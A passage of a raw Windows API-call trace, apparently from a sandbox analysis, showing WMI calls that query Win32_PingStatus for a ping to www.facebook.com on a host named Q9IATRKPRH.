pToken=0x572e77c) returned 0x0 [0126.999] CoGetContextToken (in: pToken=0x572e6dc | out: pToken=0x572e6dc) returned 0x0 [0126.999] WbemDefPath:IUnknown:QueryInterface (in: This=0x37b908, riid=0x572e7ac*(Data1=0x3bc15af2, Data2=0x736c, Data3=0x477e, Data4=([0]=0x9e, [1]=0x51, [2]=0x23, [3]=0x8a, [4]=0xf8, [5]=0x66, [6]=0x7d, [7]=0xcc)), ppvObject=0x572e7a8 | out: ppvObject=0x572e7a8*=0x37b908) returned 0x0 [0126.999] WbemDefPath:IUnknown:AddRef (This=0x37b908) returned 0x3 [0126.999] WbemDefPath:IUnknown:Release (This=0x37b908) returned 0x2 [0126.999] WbemDefPath:IWbemPath:SetText (This=0x37b908, uMode=0x4, pszPath="\\\\Q9IATRKPRH\\root\\cimv2") returned 0x0 [0126.999] WbemDefPath:IWbemPath:GetNamespaceCount (in: This=0x37b908, puCount=0x572e920 | out: puCount=0x572e920*=0x2) returned 0x0 [0126.999] WbemDefPath:IWbemPath:GetText (in: This=0x37b908, lFlags=4, puBuffLength=0x572e91c*=0x0, pszText=0x0 | out: puBuffLength=0x572e91c*=0x18, pszText=0x0) returned 0x0 [0127.000] WbemDefPath:IWbemPath:GetText (in: This=0x37b908, lFlags=4, puBuffLength=0x572e91c*=0x18, pszText="00000000000000000000000" | out: puBuffLength=0x572e91c*=0x18, pszText="\\\\Q9IATRKPRH\\root\\cimv2") returned 0x0 [0127.000] WbemDefPath:IWbemPath:GetNamespaceCount (in: This=0x37b4a8, puCount=0x572e938 | out: puCount=0x572e938*=0x2) returned 0x0 [0127.000] WbemDefPath:IWbemPath:GetText (in: This=0x37b4a8, lFlags=4, puBuffLength=0x572e934*=0x0, pszText=0x0 | out: puBuffLength=0x572e934*=0xf, pszText=0x0) returned 0x0 [0127.000] WbemDefPath:IWbemPath:GetText (in: This=0x37b4a8, lFlags=4, puBuffLength=0x572e934*=0xf, pszText="00000000000000" | out: puBuffLength=0x572e934*=0xf, pszText="\\\\.\\root\\cimv2") returned 0x0 [0127.001] WbemDefPath:IWbemPath:GetNamespaceCount (in: This=0x37b4a8, puCount=0x572e8cc | out: puCount=0x572e8cc*=0x2) returned 0x0 [0127.001] WbemDefPath:IWbemPath:GetText (in: This=0x37b4a8, lFlags=4, puBuffLength=0x572e8c8*=0x0, pszText=0x0 | out: puBuffLength=0x572e8c8*=0xf, pszText=0x0) returned 0x0 [0127.001] WbemDefPath:IWbemPath:GetText (in: This=0x37b4a8, lFlags=4, puBuffLength=0x572e8c8*=0xf, pszText="00000000000000" | out: puBuffLength=0x572e8c8*=0xf, pszText="\\\\.\\root\\cimv2") returned 0x0 [0127.001] WbemDefPath:IWbemPath:GetText (in: This=0x37b828, lFlags=2, puBuffLength=0x572e8d0*=0x0, pszText=0x0 | out: puBuffLength=0x572e8d0*=0x11, pszText=0x0) returned 0x0 [0127.001] WbemDefPath:IWbemPath:GetText (in: This=0x37b828, lFlags=2, puBuffLength=0x572e8d0*=0x11, pszText="0000000000000000" | out: puBuffLength=0x572e8d0*=0x11, pszText="Win32_PingStatus") returned 0x0 [0127.003] CoGetContextToken (in: pToken=0x572e674 | out: pToken=0x572e674) returned 0x0 [0127.003] CoGetContextToken (in: pToken=0x572e5d4 | out: pToken=0x572e5d4) returned 0x0 [0127.003] CoGetContextToken (in: pToken=0x572e5d4 | out: pToken=0x572e5d4) returned 0x0 [0127.003] CoUnmarshalInterface (in: pStm=0x3d8298, riid=0x712d2a54*(Data1=0x0, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppv=0x572e5c8 | out: ppv=0x572e5c8*=0x3b3f54) returned 0x0 [0127.004] CoMarshalInterface (pStm=0x3d8298, riid=0x712d2a54*(Data1=0x0, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), pUnk=0x3b3f54, dwDestContext=0x3, pvDestContext=0x0, mshlflags=0x0) returned 0x0 [0127.004] WbemLocator:IUnknown:QueryInterface (in: This=0x3b3f54, riid=0x572e6a4*(Data1=0x9556dc99, Data2=0x828c, Data3=0x11cf, Data4=([0]=0xa3, [1]=0x7e, [2]=0x0, [3]=0xaa, [4]=0x0, [5]=0x32, [6]=0x40, [7]=0xc7)), ppvObject=0x572e6a0 | out: ppvObject=0x572e6a0*=0x5c613f8) returned 0x0 [0127.004] WbemLocator:IUnknown:Release (This=0x3b3f54) returned 0x1 [0127.005] IWbemServices:GetObject (in: This=0x5c613f8, strObjectPath="Win32_PingStatus", lFlags=0, pCtx=0x0, ppObject=0x572e884*=0x0, ppCallResult=0x0 | out: ppObject=0x572e884*=0x5c63220, ppCallResult=0x0) returned 0x0 [0127.065] WbemLocator:IUnknown:Release (This=0x5c613f8) returned 0x0 [0127.067] IWbemClassObject:Get (in: This=0x5c63220, wszName="__PATH", lFlags=0, pVal=0x572e86c*(varType=0x0, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1=0x0, varVal2=0x0), pType=0x572e914*=0, plFlavor=0x572e910*=0 | out: pVal=0x572e86c*(varType=0x8, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1="\\\\Q9IATRKPRH\\ROOT\\cimv2:Win32_PingStatus", varVal2=0x0), pType=0x572e914*=8, plFlavor=0x572e910*=64) returned 0x0 [0127.067] SysStringByteLen (bstr="\\\\Q9IATRKPRH\\ROOT\\cimv2:Win32_PingStatus") returned 0x50 [0127.067] SysStringByteLen (bstr="\\\\Q9IATRKPRH\\ROOT\\cimv2:Win32_PingStatus") returned 0x50 [0127.067] CreateEventW (lpEventAttributes=0x0, bManualReset=0, bInitialState=0, lpName=0x0) returned 0x4f4 [0127.067] SetEvent (hEvent=0x3f4) returned 1 [0127.068] CoWaitForMultipleHandles (in: dwFlags=0x2, dwTimeout=0xffffffff, cHandles=0x1, pHandles=0x572e828*=0x4f4, lpdwindex=0x572e64c | out: lpdwindex=0x572e64c) returned 0x0 [0127.073] CoGetContextToken (in: pToken=0x572e6fc | out: pToken=0x572e6fc) returned 0x0 [0127.073] CoGetContextToken (in: pToken=0x572e65c | out: pToken=0x572e65c) returned 0x0 [0127.073] WbemDefPath:IUnknown:QueryInterface (in: This=0x37b978, riid=0x572e72c*(Data1=0x3bc15af2, Data2=0x736c, Data3=0x477e, Data4=([0]=0x9e, [1]=0x51, [2]=0x23, [3]=0x8a, [4]=0xf8, [5]=0x66, [6]=0x7d, [7]=0xcc)), ppvObject=0x572e728 | out: ppvObject=0x572e728*=0x37b978) returned 0x0 [0127.073] WbemDefPath:IUnknown:AddRef (This=0x37b978) returned 0x3 [0127.073] WbemDefPath:IUnknown:Release (This=0x37b978) returned 0x2 [0127.073] WbemDefPath:IWbemPath:SetText (This=0x37b978, uMode=0x4, pszPath="\\\\Q9IATRKPRH\\ROOT\\cimv2:Win32_PingStatus") returned 0x0 [0127.074] IWbemClassObject:Get (in: This=0x5c63220, wszName="__SERVER", lFlags=0, pVal=0x572e8ac*(varType=0x0, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1=0x0, varVal2=0x0), pType=0x572e930*=0, plFlavor=0x572e92c*=0 | out: pVal=0x572e8ac*(varType=0x8, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1="Q9IATRKPRH", varVal2=0x0), pType=0x572e930*=8, plFlavor=0x572e92c*=64) returned 0x0 [0127.074] SysStringByteLen (bstr="Q9IATRKPRH") returned 0x14 [0127.074] SysStringByteLen (bstr="Q9IATRKPRH") returned 0x14 [0127.074] IWbemClassObject:Get (in: This=0x5c63220, wszName="__NAMESPACE", lFlags=0, pVal=0x572e8ac*(varType=0x0, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1=0x0, varVal2=0x0), pType=0x572e930*=8, plFlavor=0x572e92c*=64 | out: pVal=0x572e8ac*(varType=0x8, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1="ROOT\\cimv2", varVal2=0x0), pType=0x572e930*=8, plFlavor=0x572e92c*=64) returned 0x0 [0127.074] SysStringByteLen (bstr="ROOT\\cimv2") returned 0x14 [0127.074] SysStringByteLen (bstr="ROOT\\cimv2") returned 0x14 [0127.074] IWbemClassObject:Get (in: This=0x5c63220, wszName="__CLASS", lFlags=0, pVal=0x572e8ac*(varType=0x0, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1=0x0, varVal2=0x0), pType=0x572e930*=8, plFlavor=0x572e92c*=64 | out: pVal=0x572e8ac*(varType=0x8, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1="Win32_PingStatus", varVal2=0x0), pType=0x572e930*=8, plFlavor=0x572e92c*=64) returned 0x0 [0127.074] SysStringByteLen (bstr="Win32_PingStatus") returned 0x20 [0127.074] SysStringByteLen (bstr="Win32_PingStatus") returned 0x20 [0127.074] CreateEventW (lpEventAttributes=0x0, bManualReset=0, bInitialState=0, lpName=0x0) returned 0x4f8 [0127.074] SetEvent (hEvent=0x3f4) returned 1 [0127.074] CoWaitForMultipleHandles (in: dwFlags=0x2, dwTimeout=0xffffffff, cHandles=0x1, pHandles=0x572e808*=0x4f8, lpdwindex=0x572e62c | out: lpdwindex=0x572e62c) returned 0x0 [0127.080] CoGetContextToken (in: pToken=0x572e6dc | out: pToken=0x572e6dc) returned 0x0 [0127.080] CoGetContextToken (in: pToken=0x572e63c | out: pToken=0x572e63c) returned 0x0 [0127.080] WbemDefPath:IUnknown:QueryInterface (in: This=0x37ba58, riid=0x572e70c*(Data1=0x3bc15af2, Data2=0x736c, Data3=0x477e, Data4=([0]=0x9e, [1]=0x51, [2]=0x23, [3]=0x8a, [4]=0xf8, [5]=0x66, [6]=0x7d, [7]=0xcc)), ppvObject=0x572e708 | out: ppvObject=0x572e708*=0x37ba58) returned 0x0 [0127.080] WbemDefPath:IUnknown:AddRef (This=0x37ba58) returned 0x3 [0127.080] WbemDefPath:IUnknown:Release (This=0x37ba58) returned 0x2 [0127.080] WbemDefPath:IWbemPath:SetText (This=0x37ba58, uMode=0x4, pszPath="") returned 0x0 [0127.080] CreateEventW (lpEventAttributes=0x0, bManualReset=0, bInitialState=0, lpName=0x0) returned 0x4fc [0127.080] SetEvent (hEvent=0x3f4) returned 1 [0127.080] CoWaitForMultipleHandles (in: dwFlags=0x2, dwTimeout=0xffffffff, cHandles=0x1, pHandles=0x572e808*=0x4fc, lpdwindex=0x572e62c | out: lpdwindex=0x572e62c) returned 0x0 [0127.086] CoGetContextToken (in: pToken=0x572e6dc | out: pToken=0x572e6dc) returned 0x0 [0127.086] CoGetContextToken (in: pToken=0x572e63c | out: pToken=0x572e63c) returned 0x0 [0127.086] WbemDefPath:IUnknown:QueryInterface (in: This=0x37bac8, riid=0x572e70c*(Data1=0x3bc15af2, Data2=0x736c, Data3=0x477e, Data4=([0]=0x9e, [1]=0x51, [2]=0x23, [3]=0x8a, [4]=0xf8, [5]=0x66, [6]=0x7d, [7]=0xcc)), ppvObject=0x572e708 | out: ppvObject=0x572e708*=0x37bac8) returned 0x0 [0127.086] WbemDefPath:IUnknown:AddRef (This=0x37bac8) returned 0x3 [0127.086] WbemDefPath:IUnknown:Release (This=0x37bac8) returned 0x2 [0127.086] WbemDefPath:IWbemPath:SetText (This=0x37bac8, uMode=0x4, pszPath="") returned 0x0 [0127.086] WbemDefPath:IWbemPath:GetNamespaceCount (in: This=0x37bac8, puCount=0x572e8ac | out: puCount=0x572e8ac*=0x0) returned 0x0 [0127.086] WbemDefPath:IWbemPath:GetNamespaceCount (in: This=0x37ba58, puCount=0x572e8ac | out: puCount=0x572e8ac*=0x0) returned 0x0 [0127.086] WbemDefPath:IWbemPath:GetClassName (in: This=0x37bac8, puBuffLength=0x572e904*=0x0, pszName=0x0 | out: puBuffLength=0x572e904*=0x0, pszName=0x0) returned 0x8004103a [0127.086] WbemDefPath:IWbemPath:GetServer (in: This=0x37bac8, puNameBufLength=0x572e900*=0x0, pName=0x0 | out: puNameBufLength=0x572e900*=0x0, pName=0x0) returned 0x80041009 [0127.086] WbemDefPath:IWbemPath:SetServer (This=0x37bac8, Name="Q9IATRKPRH") returned 0x0 [0127.086] CreateEventW (lpEventAttributes=0x0, bManualReset=0, bInitialState=0, lpName=0x0) returned 0x500 [0127.086] SetEvent (hEvent=0x3f4) returned 1 [0127.086] CoWaitForMultipleHandles (in: dwFlags=0x2, dwTimeout=0xffffffff, cHandles=0x1, pHandles=0x572e808*=0x500, lpdwindex=0x572e62c | out: lpdwindex=0x572e62c) returned 0x0 [0127.092] CoGetContextToken (in: pToken=0x572e6dc | out: pToken=0x572e6dc) returned 0x0 [0127.092] CoGetContextToken (in: pToken=0x572e63c | out: pToken=0x572e63c) returned 0x0 [0127.092] WbemDefPath:IUnknown:QueryInterface (in: This=0x37bb38, riid=0x572e70c*(Data1=0x3bc15af2, Data2=0x736c, Data3=0x477e, Data4=([0]=0x9e, [1]=0x51, [2]=0x23, [3]=0x8a, [4]=0xf8, [5]=0x66, [6]=0x7d, [7]=0xcc)), ppvObject=0x572e708 | out: ppvObject=0x572e708*=0x37bb38) returned 0x0 [0127.092] WbemDefPath:IUnknown:AddRef (This=0x37bb38) returned 0x3 [0127.092] WbemDefPath:IUnknown:Release (This=0x37bb38) returned 0x2 [0127.092] WbemDefPath:IWbemPath:SetText (This=0x37bb38, uMode=0x4, pszPath="ROOT\\cimv2") returned 0x0 [0127.092] WbemDefPath:IWbemPath:GetNamespaceCount (in: This=0x37bac8, puCount=0x572e8ac | out: puCount=0x572e8ac*=0x0) returned 0x0 [0127.092] WbemDefPath:IWbemPath:GetNamespaceCount (in: This=0x37bb38, puCount=0x572e8ac | out: puCount=0x572e8ac*=0x2) returned 0x0 [0127.092] WbemDefPath:IWbemPath:GetText (in: This=0x37bb38, lFlags=16, puBuffLength=0x572e8a8*=0x0, pszText=0x0 | out: puBuffLength=0x572e8a8*=0xb, pszText=0x0) returned 0x0 [0127.092] WbemDefPath:IWbemPath:GetText (in: This=0x37bb38, lFlags=16, puBuffLength=0x572e8a8*=0xb, pszText="0000000000" | out: puBuffLength=0x572e8a8*=0xb, pszText="ROOT\\cimv2") returned 0x0 [0127.092] WbemDefPath:IWbemPath:RemoveAllNamespaces (This=0x37bac8) returned 0x0 [0127.092] WbemDefPath:IWbemPath:GetNamespaceCount (in: This=0x37bb38, puCount=0x572e8e4 | out: puCount=0x572e8e4*=0x2) returned 0x0 [0127.092] WbemDefPath:IWbemPath:GetNamespaceAt (in: This=0x37bb38, uIndex=0x0, puNameBufLength=0x572e8e0*=0x0, pName=0x0 | out: puNameBufLength=0x572e8e0*=0x5, pName=0x0) returned 0x0 [0127.092] WbemDefPath:IWbemPath:GetNamespaceAt (in: This=0x37bb38, uIndex=0x0, puNameBufLength=0x572e8e0*=0x5, pName="0000" | out: puNameBufLength=0x572e8e0*=0x5, pName="ROOT") returned 0x0 [0127.093] WbemDefPath:IWbemPath:SetNamespaceAt (This=0x37bac8, uIndex=0x0, pszName="ROOT") returned 0x0 [0127.093] WbemDefPath:IWbemPath:GetNamespaceAt (in: This=0x37bb38, uIndex=0x1, puNameBufLength=0x572e8e0*=0x0, pName=0x0 | out: puNameBufLength=0x572e8e0*=0x6, pName=0x0) returned 0x0 [0127.093] WbemDefPath:IWbemPath:GetNamespaceAt (in: This=0x37bb38, uIndex=0x1, puNameBufLength=0x572e8e0*=0x6, pName="00000" | out: puNameBufLength=0x572e8e0*=0x6, pName="cimv2") returned 0x0 [0127.093] WbemDefPath:IWbemPath:SetNamespaceAt (This=0x37bac8, uIndex=0x1, pszName="cimv2") returned 0x0 [0127.093] WbemDefPath:IWbemPath:GetClassName (in: This=0x37bac8, puBuffLength=0x572e904*=0x0, pszName=0x0 | out: puBuffLength=0x572e904*=0x0, pszName=0x0) returned 0x8004103a [0127.093] WbemDefPath:IWbemPath:SetClassName (This=0x37bac8, Name="Win32_PingStatus") returned 0x0 [0127.093] IWbemClassObject:BeginMethodEnumeration (This=0x5c63220, lEnumFlags=0) returned 0x0 [0127.093] IWbemClassObject:NextMethod (in: This=0x5c63220, lFlags=0, pstrName=0x572e8bc*=0x0, ppInSignature=0x572e904*=0x0, ppOutSignature=0x572e900*=0x0 | out: pstrName=0x572e8bc*=0x0, ppInSignature=0x572e904*=0x0, ppOutSignature=0x572e900*=0x0) returned 0x40005 [0127.095] IWbemClassObject:EndMethodEnumeration (This=0x5c63220) returned 0x0 [0127.353] GetEnvironmentVariableW (in: lpName="MshEnableTrace", lpBuffer=0x572e300, nSize=0x80 | out: lpBuffer="") returned 0x0 [0127.354] GetEnvironmentVariableW (in: lpName="MshEnableTrace", lpBuffer=0x572e300, nSize=0x80 | out: lpBuffer="") returned 0x0 [0127.355] GetEnvironmentVariableW (in: lpName="MshEnableTrace", lpBuffer=0x572e278, nSize=0x80 | out: lpBuffer="") returned 0x0 [0127.360] WbemDefPath:IWbemPath:GetNamespaceCount (in: This=0x37b4a8, puCount=0x572ea40 | out: puCount=0x572ea40*=0x2) returned 0x0 [0127.360] WbemDefPath:IWbemPath:GetText (in: This=0x37b4a8, lFlags=4, puBuffLength=0x572ea3c*=0x0, pszText=0x0 | out: puBuffLength=0x572ea3c*=0xf, pszText=0x0) returned 0x0 [0127.360] WbemDefPath:IWbemPath:GetText (in: This=0x37b4a8, lFlags=4, puBuffLength=0x572ea3c*=0xf, pszText="00000000000000" | out: puBuffLength=0x572ea3c*=0xf, pszText="\\\\.\\root\\cimv2") returned 0x0 [0127.360] WbemDefPath:IWbemPath:GetNamespaceCount (in: This=0x37b4a8, puCount=0x572ea40 | out: puCount=0x572ea40*=0x2) returned 0x0 [0127.360] WbemDefPath:IWbemPath:GetText (in: This=0x37b4a8, lFlags=4, puBuffLength=0x572ea3c*=0x0, pszText=0x0 | out: puBuffLength=0x572ea3c*=0xf, pszText=0x0) returned 0x0 [0127.360] WbemDefPath:IWbemPath:GetText (in: This=0x37b4a8, lFlags=4, puBuffLength=0x572ea3c*=0xf, pszText="00000000000000" | out: puBuffLength=0x572ea3c*=0xf, pszText="\\\\.\\root\\cimv2") returned 0x0 [0127.361] IWbemClassObject:GetNames (in: This=0x5c58ef0, wszQualifierName=0x0, lFlags=48, pQualifierVal=0x572ea48*(varType=0x0, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1=0x0, varVal2=0x0), pNames=0x572ea3c | out: pNames=0x572ea3c*="\x01ƀ\x04") returned 0x0 [0127.361] SafeArrayGetDim (psa=0x5c5dd10) returned 0x1 [0127.361] SafeArrayGetDim (psa=0x5c5dd10) returned 0x1 [0127.361] SafeArrayGetLBound (in: psa=0x5c5dd10, nDim=0x1, plLbound=0x572e8d4 | out: plLbound=0x572e8d4) returned 0x0 [0127.361] SysStringByteLen (bstr="__GENUS") returned 0xe [0127.361] SysStringByteLen (bstr="__GENUS") returned 0xe [0127.361] SysStringByteLen (bstr="__CLASS") returned 0xe [0127.361] SysStringByteLen (bstr="__CLASS") returned 0xe [0127.361] SysStringByteLen (bstr="__SUPERCLASS") returned 0x18 [0127.361] SysStringByteLen (bstr="__SUPERCLASS") returned 0x18 [0127.361] SysStringByteLen (bstr="__DYNASTY") returned 0x12 [0127.361] SysStringByteLen (bstr="__DYNASTY") returned 0x12 [0127.361] SysStringByteLen (bstr="__RELPATH") returned 0x12 [0127.361] SysStringByteLen (bstr="__RELPATH") returned 0x12 [0127.361] SysStringByteLen (bstr="__PROPERTY_COUNT") returned 0x20 [0127.361] SysStringByteLen (bstr="__PROPERTY_COUNT") returned 0x20 [0127.361] SysStringByteLen (bstr="__DERIVATION") returned 0x18 [0127.361] SysStringByteLen (bstr="__DERIVATION") returned 0x18 [0127.362] SysStringByteLen (bstr="__SERVER") returned 0x10 [0127.362] SysStringByteLen (bstr="__SERVER") returned 0x10 [0127.362] SysStringByteLen (bstr="__NAMESPACE") returned 0x16 [0127.362] SysStringByteLen (bstr="__NAMESPACE") returned 0x16 [0127.362] SysStringByteLen (bstr="__PATH") returned 0xc [0127.362] SysStringByteLen (bstr="__PATH") returned 0xc [0127.362] IWbemClassObject:Get (in: This=0x5c58ef0, wszName="__GENUS", lFlags=0, pVal=0x572ea38*(varType=0x0, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1=0x0, varVal2=0x0), pType=0x21b4404*=0, plFlavor=0x21b4408*=0 | out: pVal=0x572ea38*(varType=0x3, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1=0x2, varVal2=0x0), pType=0x21b4404*=3, plFlavor=0x21b4408*=64) returned 0x0 [0127.362] IWbemClassObject:Get (in: This=0x5c58ef0, wszName="__CLASS", lFlags=0, pVal=0x572ea38*(varType=0x0, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1=0x0, varVal2=0x0), pType=0x21b4438*=0, plFlavor=0x21b443c*=0 | out: pVal=0x572ea38*(varType=0x8, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1="Win32_PingStatus", varVal2=0x0), pType=0x21b4438*=8, plFlavor=0x21b443c*=64) returned 0x0 [0127.362] SysStringByteLen (bstr="Win32_PingStatus") returned 0x20 [0127.362] SysStringByteLen (bstr="Win32_PingStatus") returned 0x20 [0127.362] IWbemClassObject:Get (in: This=0x5c58ef0, wszName="__SUPERCLASS", lFlags=0, pVal=0x572ea38*(varType=0x0, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1=0x0, varVal2=0x0), pType=0x21b4490*=0, plFlavor=0x21b4494*=0 | out: pVal=0x572ea38*(varType=0x1, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1=0x0, varVal2=0x0), pType=0x21b4490*=8, plFlavor=0x21b4494*=64) returned 0x0 [0127.362] IWbemClassObject:Get (in: This=0x5c58ef0, wszName="__DYNASTY", lFlags=0, pVal=0x572ea38*(varType=0x0, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1=0x0, varVal2=0x0), pType=0x21b44b8*=0, plFlavor=0x21b44bc*=0 | out: pVal=0x572ea38*(varType=0x8, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1="Win32_PingStatus", varVal2=0x0), pType=0x21b44b8*=8, plFlavor=0x21b44bc*=64) returned 0x0 [0127.363] SysStringByteLen (bstr="Win32_PingStatus") returned 0x20 [0127.363] SysStringByteLen (bstr="Win32_PingStatus") returned 0x20 [0127.363] IWbemClassObject:Get (in: This=0x5c58ef0, wszName="__RELPATH", lFlags=0, pVal=0x572ea38*(varType=0x0, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1=0x0, varVal2=0x0), pType=0x21b4510*=0, plFlavor=0x21b4514*=0 | out: pVal=0x572ea38*(varType=0x8, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1="Win32_PingStatus.Address=\"www.facebook.com\",BufferSize=32,NoFragmentation=FALSE,RecordRoute=0,ResolveAddressNames=FALSE,SourceRoute=\"\",SourceRouteType=0,Timeout=4000,TimestampRoute=0,TimeToLive=80,TypeofService=0", varVal2=0x0), pType=0x21b4510*=8, plFlavor=0x21b4514*=64) returned 0x0 [0127.363] SysStringByteLen (bstr="Win32_PingStatus.Address=\"www.facebook.com\",BufferSize=32,NoFragmentation=FALSE,RecordRoute=0,ResolveAddressNames=FALSE,SourceRoute=\"\",SourceRouteType=0,Timeout=4000,TimestampRoute=0,TimeToLive=80,TypeofService=0") returned 0x1a8 [0127.363] SysStringByteLen (bstr="Win32_PingStatus.Address=\"www.facebook.com\",BufferSize=32,NoFragmentation=FALSE,RecordRoute=0,ResolveAddressNames=FALSE,SourceRoute=\"\",SourceRouteType=0,Timeout=4000,TimestampRoute=0,TimeToLive=80,TypeofService=0") returned 0x1a8 [0127.363] IWbemClassObject:Get (in: This=0x5c58ef0, wszName="__PROPERTY_COUNT", lFlags=0, pVal=0x572ea38*(varType=0x0, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1=0x0, varVal2=0x0), pType=0x21b46f0*=0, plFlavor=0x21b46f4*=0 | out: pVal=0x572ea38*(varType=0x3, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1=0x18, varVal2=0x0), pType=0x21b46f0*=3, plFlavor=0x21b46f4*=64) returned 0x0 [0127.363] IWbemClassObject:Get (in: This=0x5c58ef0, wszName="__DERIVATION", lFlags=0, pVal=0x572ea38*(varType=0x0, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1=0x0, varVal2=0x0), pType=0x21b4724*=0, plFlavor=0x21b4728*=0 | out: pVal=0x572ea38*(varType=0x2008, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1=0x5c5dda0*(cDims=0x1, fFeatures=0x180, cbElements=0x4, cLocks=0x0, pvData=0x5c68678, rgsabound=((cElements=0x0, lLbound=0))), varVal2=0x0), pType=0x21b4724*=8200, plFlavor=0x21b4728*=64) returned 0x0 [0127.363] IWbemClassObject:Get (in: This=0x5c58ef0, wszName="__SERVER", lFlags=0, pVal=0x572ea38*(varType=0x0, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1=0x0, varVal2=0x0), pType=0x21b4758*=0, plFlavor=0x21b475c*=0 | out: pVal=0x572ea38*(varType=0x8, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1="Q9IATRKPRH", varVal2=0x0), pType=0x21b4758*=8, plFlavor=0x21b475c*=64) returned 0x0 [0127.363] SysStringByteLen (bstr="Q9IATRKPRH") returned 0x14 [0127.363] SysStringByteLen (bstr="Q9IATRKPRH") returned 0x14 [0127.364] IWbemClassObject:Get (in: This=0x5c58ef0, wszName="__NAMESPACE", lFlags=0, pVal=0x572ea38*(varType=0x0, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1=0x0, varVal2=0x0), pType=0x21b47a4*=0, plFlavor=0x21b47a8*=0 | out: pVal=0x572ea38*(varType=0x8, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1="root\\cimv2", varVal2=0x0), pType=0x21b47a4*=8, plFlavor=0x21b47a8*=64) returned 0x0 [0127.364] SysStringByteLen (bstr="root\\cimv2") returned 0x14 [0127.364] SysStringByteLen (bstr="root\\cimv2") returned 0x14 [0127.364] IWbemClassObject:Get (in: This=0x5c58ef0, wszName="__PATH", lFlags=0, pVal=0x572ea38*(varType=0x0, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1=0x0, varVal2=0x0), pType=0x21b47f0*=0, plFlavor=0x21b47f4*=0 | out: pVal=0x572ea38*(varType=0x8, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1="\\\\Q9IATRKPRH\\root\\cimv2:Win32_PingStatus.Address=\"www.facebook.com\",BufferSize=32,NoFragmentation=FALSE,RecordRoute=0,ResolveAddressNames=FALSE,SourceRoute=\"\",SourceRouteType=0,Timeout=4000,TimestampRoute=0,TimeToLive=80,TypeofService=0", varVal2=0x0), pType=0x21b47f0*=8, plFlavor=0x21b47f4*=64) returned 0x0 [0127.364] SysStringByteLen (bstr="\\\\Q9IATRKPRH\\root\\cimv2:Win32_PingStatus.Address=\"www.facebook.com\",BufferSize=32,NoFragmentation=FALSE,RecordRoute=0,ResolveAddressNames=FALSE,SourceRoute=\"\",SourceRouteType=0,Timeout=4000,TimestampRoute=0,TimeToLive=80,TypeofService=0") returned 0x1d8 [0127.364] SysStringByteLen (bstr="\\\\Q9IATRKPRH\\root\\cimv2:Win32_PingStatus.Address=\"www.facebook.com\",BufferSize=32,NoFragmentation=FALSE,RecordRoute=0,ResolveAddressNames=FALSE,SourceRoute=\"\",SourceRouteType=0,Timeout=4000,TimestampRoute=0,TimeToLive=80,TypeofService=0") returned 0x1d8 [0127.364] WbemDefPath:IWbemPath:GetNamespaceCount (in: This=0x37b4a8, puCount=0x572ea7c | out: puCount=0x572ea7c*=0x2) returned 0x0 [0127.364] WbemDefPath:IWbemPath:GetText (in: This=0x37b4a8, lFlags=4, puBuffLength=0x572ea78*=0x0, pszText=0x0 | out: puBuffLength=0x572ea78*=0xf, pszText=0x0) returned 0x0 [0127.365] WbemDefPath:IWbemPath:GetText (in: This=0x37b4a8, lFlags=4, puBuffLength=0x572ea78*=0xf, pszText="00000000000000" | out: puBuffLength=0x572ea78*=0xf, pszText="\\\\.\\root\\cimv2") returned 0x0 [0127.365] IWbemClassObject:Get (in: This=0x5c58ef0, wszName="PSShowComputerName", lFlags=0, pVal=0x572ea78*(varType=0x0, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1=0x0, varVal2=0x0), pType=0x21b4a2c*=0, plFlavor=0x21b4a30*=0 | out: pVal=0x572ea78*(varType=0x0, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1=0x0, varVal2=0x0), pType=0x21b4a2c*=0, plFlavor=0x21b4a30*=0) returned 0x80041002 [0127.365] GetErrorInfo (in: dwReserved=0x0, pperrinfo=0x572ea5c | out: pperrinfo=0x572ea5c*=0x0) returned 0x1 [0127.365] IIDFromString (in: lpsz="{EB87E1BD-3233-11D2-AEC9-00C04FB68820}", lpiid=0x572e9a4 | out: lpiid=0x572e9a4) returned 0x0 [0127.367] CoGetClassObject (in: rclsid=0x5c5dd9c*(Data1=0xeb87e1bd, Data2=0x3233, Data3=0x11d2, Data4=([0]=0xae, [1]=0xc9, [2]=0x0, [3]=0xc0, [4]=0x4f, [5]=0xb6, [6]=0x88, [7]=0x20)), dwClsContext=0x15, pvReserved=0x0, riid=0x71426bd4*(Data1=0x1, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, 